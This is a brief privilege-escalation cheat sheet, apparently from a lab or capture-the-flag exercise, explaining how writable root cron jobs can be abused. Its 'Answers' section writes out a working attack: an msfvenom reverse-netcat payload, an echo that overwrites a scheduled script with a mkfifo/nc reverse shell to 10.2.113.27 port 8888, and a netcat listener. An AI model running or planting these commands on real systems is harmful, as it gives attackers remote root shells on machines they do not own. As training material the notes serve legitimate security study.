Exploiting Cron Jobs
About
- Long running process that execute commands at specific dates and times
- Cron jobs are used to run scripts or binaries at specific times
- Run with the privilege of their owners and not the current user by default
- Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run
- Each user on the system have their crontab file and can run specific tasks whether they are logged in or not
- If there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges
Technique
- Check for write permissions on these dirs:
1./etc/crontab
2./etc/cron.d
3./var/spool/cron/crontabs/root cat /etc/crontabto view what cron jobs are scheduled- Readable by any user so always check manually
- Cronjob format:
ID Mins Hours DayofMonth Month DayofWeek User Command17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly
- If current user can access the scheduled script, modify it to create a reverse shell
Answers
exit
su user4
password
msfvenom -p cmd/unix/reverse_netcat lhost=10.2.113.27 lport=8888 R
echo 'mkfifo /tmp/kvphfd; nc 10.2.113.27 8888 0</tmp/kvphfd | /bin/sh >/tmp/kvphfd 2>&1; rm /tmp/kvphfd' > /home/user4/Desktop/autoscript.sh
nc -lvnp 8888